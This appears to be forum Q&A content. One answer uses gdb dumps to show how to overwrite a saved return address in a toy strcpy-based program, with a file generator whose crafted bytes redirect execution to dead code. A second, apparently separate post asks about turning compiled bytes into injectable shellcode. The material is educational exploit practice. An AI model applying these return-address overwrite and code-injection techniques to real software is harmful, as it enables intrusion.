0x080484dd <main+7>: pushl -0x4(%ecx)
0x080484e0 <main+10>: push %ebp
0x080484e1 <main+11>: mov %esp,%ebp
0x080484e3 <main+13>: push %ecx
0x080484e4 <main+14>: sub $0x224,%esp
0x080484ea <main+20>: movl $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>: movl $0x804862b,0x4(%esp)
0x080484f9 <main+35>: mov -0x8(%ebp),%eax
0x080484fc <main+38>: mov %eax,(%esp)
0x080484ff <main+41>: call 0x80483a0 <fopen#plt>
0x08048504 <main+46>: mov %eax,-0xc(%ebp)
0x08048507 <main+49>: mov -0xc(%ebp),%eax
0x0804850a <main+52>: mov %eax,0xc(%esp)
0x0804850e <main+56>: movl $0x200,0x8(%esp)
0x08048516 <main+64>: movl $0x1,0x4(%esp)
0x0804851e <main+72>: lea -0x20c(%ebp),%eax
0x08048524 <main+78>: mov %eax,(%esp)
0x08048527 <main+81>: call 0x80483e0 <fread#plt>
0x0804852c <main+86>: lea -0x20c(%ebp),%eax
0x08048532 <main+92>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>: call 0x80484a4 <bof>
0x0804853a <main+100>: movl $0x804862d,(%esp)
0x08048541 <main+107>: call 0x80483d0 <puts#plt>
0x08048546 <main+112>: mov $0x1,%eax
0x0804854b <main+117>: add $0x224,%esp
0x08048551 <main+123>: pop %ecx
0x08048552 <main+124>: pop %ebp
0x08048553 <main+125>: lea -0x4(%ecx),%esp
0x08048556 <main+128>: ret
End of assembler dump.
(gdb)
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push %ebp
0x080484a5 <bof+1>: mov %esp,%ebp
0x080484a7 <bof+3>: sub $0x28,%esp
0x080484aa <bof+6>: mov 0x8(%ebp),%eax
0x080484ad <bof+9>: mov %eax,0x4(%esp)
0x080484b1 <bof+13>: lea -0x14(%ebp),%eax
0x080484b4 <bof+16>: mov %eax,(%esp)
0x080484b7 <bof+19>: call 0x80483b0 <strcpy#plt>
0x080484bc <bof+24>: lea -0x14(%ebp),%eax
0x080484bf <bof+27>: mov %eax,0x4(%esp)
0x080484c3 <bof+31>: movl $0x8048620,(%esp)
0x080484ca <bof+38>: call 0x80483c0 <printf#plt>
0x080484cf <bof+43>: mov $0x1,%eax
0x080484d4 <bof+48>: leave
0x080484d5 <bof+49>: ret
End of assembler dump.
disclaimer:
I am using Window 7 with gcc-4.8.3 (from http://mingw-w64.org/doku.php), along with gdb version 7.8 (also from http://mingw-w64.org/doku.php). Additionally, Windows 7 doesn't appear to have ASLR as when I run this small test program:
#include <stdio.h>
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%X\n", find_start();
return (0);
}
I get the same memory locations, as shown below:
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
This program is taken from "The Shellcoder's Handbook:Discovering and Exploiting Security Holes" by Chris Anley et. al., which comments:
"..if you notice that the address the program prints out is different each time, it probably means you're running a distribution with the grsecurity patch, or something similar." If you do have different addresses, it will make reproducing the following more difficult. For example, running on my Ubuntu-14.04 LTS system, I get the following:
ubuntu:~/projects$ ./find_addr
0x4F5AF640
ubuntu:~/projects$ ./find_addr
0xCE71D3B0
ubuntu:~/projects$ ./find_addr
0xD4A21710
OK, now that the preliminaries are out of the way, on to your example. So using your code to generate 'badfile`, I created this file:
Q:\SE_test>genFile 0x43434343
Q:\SE_test>more badfile
a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
Q:\SE_test>
Now, let's run you vulnerable program under GDB, and stop right before the call to bof. The disassembly at this point looks like this:
0x004015db <+92>: call 0x4027b8 <fread>
=> 0x004015e0 <+97>: lea 0x18(%esp),%eax
0x004015e4 <+101>: mov %eax,(%esp)
0x004015e7 <+104>: call 0x401560 <bof>
0x004015ec <+109>: movl $0x40402e,(%esp)
At this point we can look at some values of interest. First, note the address of the instruction after the call to bof (0x004015ec), we will need that later. Secondly, we can examine some significant variables and registers:
(gdb) print str
$1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
(gdb) print $ebp
$2 = (void *) 0x28fec8
(gdb) print $esp
$3 = (void *) 0x28fca0
So, we now know in memory where the activation frame for main is found, as well as verifying that you have read the string in correctly. Looking at the value of string, I do see two things that may cause problems later;
Notice the null terminator (\000) embedded in the string? This will cause the string copy in bof to stop. We still should get a buffer overflow. Just something to be aware of in shell-code we can't have 0x00 bytes and expect to use string-processing functions.
Notice that address that I entered (0x43434343) shows up as text and not an address. This is, from what I can tell, a consequence of using Windows; however we can still see where we are writing to memory and check if things are going in the correct place.
Now we can step into bof and see what we have:
(gdb) s
bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
13 strcpy(buffer, str);
(gdb) print $esp
$5 = (void *) 0x28fc60
(gdb) print $ebp
$6 = (void *) 0x28fc98
(gdb) x/80xb 0x28fc60
0x28fc60: 0x00 0x02 0x00 0x00 0x50 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x6f 0xf4 0x6d 0x76
0x28fc80: 0xe0 0xf3 0x6d 0x76 0xb8 0xfc 0x28 0x00
0x28fc88: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
0x28fc90: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
0x28fc98: 0xc8 0xfe 0x28 0x00 0xec 0x15 0x40 0x00
0x28fca0: 0xb8 0xfc 0x28 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
At this point, we are starting to get a feeling for how memory is laid out, and we can look at the contents of the memory as well. What is particularly interesting are the values located at memory locations 0x28fc9c and 0x28fca0 which I have entered into the diagram below:
address contents
+------------+
0x28fec8 | | <-- base pointer for main's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fca0 | 0x0028fcb8 | <-- stack pointer for main's stack frame
+------------+
0x28fc9c | 0x004015ec | <--- stored eip
+------------+
0x28fc98 | 0x0028fec8 | <-- base pointer for bof's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fc60 | | <-- stack pointer for bof's stack frame
+------------+
Looking at the disassembly of main we can see that the next instruction after the call to bof is located at 0x004015ec, which we can see has been pushed on the stack at memory location 0x0028fc9c.
Now that this analysis is done, we can execute the string copy and then look at memory again and see what we've done (remembering that 'a' has an ASCII value of 0x61 and that space has an ASCII value of 0x20). As a point of reference we can see that the buffer in bof is located at a memory address of 0x000x28fc7c
(gdb) x/80xb 0x28fc60
0x28fc60: 0x7c 0xfc 0x28 0x00 0xb8 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x61 0x20 0x62 0x20
0x28fc80: 0x63 0x20 0x64 0x20 0x65 0x20 0x66 0x20
0x28fc88: 0x67 0x20 0x68 0x20 0x69 0x20 0x6a 0x20
0x28fc90: 0x61 0x20 0x62 0x20 0x63 0x20 0x64 0x20
0x28fc98: 0x30 0x78 0x34 0x33 0x34 0x33 0x34 0x33
0x28fca0: 0x34 0x33 0x00 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
We are particularly interested in the region around where the stored eip is located at:
0x28fca8: 0x00 0x02 0x00 0x00
0x28fca4: 0x01 0x00 0x00 0x00
0x28fca0: 0x34 0x33 0x00 0x00
0x28fc9c: 0x34 0x33 0x34 0x33
0x28fc98: 0x30 0x78 0x34 0x33
From this it looks like the first part of what I entered as a command line argument (0x43) is overwriting ebp for bof. From this I would suspect that you need to add four more bytes into your string prior to writing out the new address. Also, you probably need to check to make sure the your command line argument is being treated correctly.
As a test of this, I modified your two programs a bit to this:
First, the program to generate the bad file was modified to this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[512];
FILE *badfile;
int ndx;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First n-characters for buffer*/
for(ndx = 0; ndx < atoi(argv[1]); ndx++)
buffer[ndx] = 'A';
/*Overwrite return address*/
buffer[ndx++] = 0x7f;
buffer[ndx++] = 0x15;
buffer[ndx++] = 0x40;
buffer[ndx++] = 0x00;
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
return 0;
}
Your command line argument now allows you to enter the number of bytes to write out to the file prior to writing your new return address. I also modified your vulnerable program to look like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BSIZE 512
int bof(char *str)
{
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
void output()
{
printf("We should never see this\n");
exit(1);
}
int main(int argc, char **argv)
{
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 0;
}
Notice that output is effectively dead-code, however doing a quick disassembly, I can find that output starts at 0x0040157f. This is the value that I entered into the buffer in the genFile code above. Now
for a couple of test cases:
Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile
Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1
Q:\SE_test>genFile 28
Q:\SE_test>overflow1
Returned Properly (see note below)
Q:\SE_test>genFile 32
Q:\SE_test>overflow1
We should never see this
Q:\SE_test>
Note: In the first run, even though the program displayed "Returned Properly", the program did crash and windows displayed the "This program has stopped working dialog".
Hope this helps, if you have any other questions, please ask.
T.
I am trying the examples of code injection in the following link:
http://www.linuxjournal.com/node/6210/print
Everything is working well(I mean it will inject a string to target process using the shellcode in that example), but when I tried to inject my shellcode, the program does not work at all.
Here is how I get the shellcode:
#include <stdio.h>
int main(int argc, char *argv[]){
printf("Hello");
return 0;
}
Then, I compile the source code and use gdb to disassemble the code.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x10,%esp
0x080483ed <+9>: mov $0x80484e0,%eax
0x080483f2 <+14>: mov %eax,(%esp)
0x080483f5 <+17>: call 0x8048300 <printf#plt>
0x080483fa <+22>: mov $0x0,%eax
0x080483ff <+27>: leave
0x08048400 <+28>: ret
End of assembler dump.
(gdb) x/30bx main
0x80483e4 <main>: 0x55 0x89 0xe5 0x83 0xe4 0xf0 0x83 0xec
0x80483ec <main+8>: 0x10 0xb8 0xe0 0x84 0x04 0x08 0x89 0x04
0x80483f4 <main+16>: 0x24 0xe8 0x06 0xff 0xff 0xff 0xb8 0x00
0x80483fc <main+24>: 0x00 0x00 0x00 0xc9 0xc3 0x90
Then, I just copy those 30 bytes as my shellcode and use it, but it does not work. Does anyone know why it does not work? How to fix it? Thanks.
PS: By the way, I wonder how to fix from the source code, not simply writing assembly code.